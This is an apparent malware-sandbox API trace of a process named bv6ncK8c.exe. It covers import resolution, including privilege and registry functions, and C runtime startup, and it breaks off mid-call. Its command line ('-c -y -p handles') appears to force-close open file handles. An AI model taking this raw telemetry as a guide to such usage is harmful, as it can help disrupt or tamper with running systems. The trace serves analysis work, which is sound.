[0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0099.008] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0099.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0099.010] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0099.011] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0099.012] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0099.013] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0099.013] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0099.013] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0099.013] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0099.013] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0099.013] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0099.014] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0099.014] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0099.014] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0099.014] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0099.014] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0099.014] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0099.015] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0099.015] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0099.015] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0099.015] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0099.015] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0099.015] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0099.015] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0099.016] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0099.016] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0099.016] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0099.016] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0099.024] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0099.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xde7e0fe0, dwHighDateTime=0x1d5d06a)) [0099.024] GetCurrentThreadId () returned 0xde4 [0099.024] GetCurrentProcessId () returned 0xde0 [0099.024] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=24097639940) returned 1 [0099.025] GetProcessHeap () returned 0x8e0000 [0099.025] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0099.025] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0099.026] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0099.027] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0099.028] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x3bc) returned 0x8f60c8 [0099.028] GetCurrentThreadId () returned 0xde4 [0099.028] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x18) returned 0x8f6490 [0099.028] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x800) returned 0x8f64b0 [0099.028] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x43ff1133, hStdError=0x0)) [0099.028] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0099.028] GetFileType (hFile=0x3) returned 0x2 [0099.316] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.316] GetFileType (hFile=0x7) returned 0x2 [0099.316] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0099.316] GetFileType (hFile=0xb) returned 0x2 [0099.316] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0099.316] GetEnvironmentStringsW () returned 0x8f6cb8* [0099.317] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0xb84) returned 0x8f7848 [0099.317] FreeEnvironmentStringsW (penv=0x8f6cb8) returned 1 [0099.317] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0099.317] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x88) returned 0x8f6cb8 [0099.317] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0xa0) returned 0x8f6d48 [0099.317] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x3e) returned 0x8f83f0 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x6c) returned 0x8f6df0 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x6e) returned 0x8f6e68 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x78) returned 0x8ef8e8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x62) returned 0x8f6ee0 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2e) returned 0x8f6f50 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x48) returned 0x8f6f88 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x28) returned 0x8f6fd8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x28) returned 0x8f7008 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x1a) returned 0x8f5a98 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x4a) returned 0x8f7038 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x72) returned 0x8ef968 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x30) returned 0x8f7090 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2e) returned 0x8f70c8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x1c) returned 0x8f5ac0 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0xd2) returned 0x8f7100 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x7c) returned 0x8f71e0 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x36) returned 0x8f7268 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x3a) returned 0x8f8438 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x90) returned 0x8f72a8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x24) returned 0x8f7340 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x30) returned 0x8f7370 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x36) returned 0x8f73a8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x48) returned 0x8f73e8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x52) returned 0x8f7438 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x3c) returned 0x8f8480 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x18) returned 0x8f7498 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x82) returned 0x8f74b8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2e) returned 0x8f7548 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x1e) returned 0x8f5ae8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2c) returned 0x8f7580 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x54) returned 0x8f75b8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x52) returned 0x8f7618 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2a) returned 0x8f7678 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x3c) returned 0x8f84c8 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x54) returned 0x8f76b0 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x24) returned 0x8f7710 [0099.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x30) returned 0x8f7740 [0099.319] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8c) returned 0x8f7778 [0099.319] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8f7848 | out: hHeap=0x8e0000) returned 1 [0099.319] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x800) returned 0x8f7810 [0099.319] GetLastError () returned 0x0 [0099.319] SetLastError (dwErrCode=0x0) [0099.319] GetLastError () returned 0x0 [0099.319] SetLastError (dwErrCode=0x0) [0099.319] GetLastError () returned 0x0 [0099.319] SetLastError (dwErrCode=0x0) [0099.319] GetACP () returned 0x4e4 [0099.319] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x220) returned 0x8f8018 [0099.319] GetLastError () returned 0x0 [0099.320] SetLastError (dwErrCode=0x0) [0099.320] IsValidCodePage (CodePage=0x4e4) returned 1 [0099.320] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0099.320] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0099.320] GetLastError () returned 0x0 [0099.320] SetLastError (dwErrCode=0x0) [0099.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.320] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0099.320] GetLastError () returned 0x0 [0099.320] SetLastError (dwErrCode=0x0) [0099.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.320] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0099.320] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, 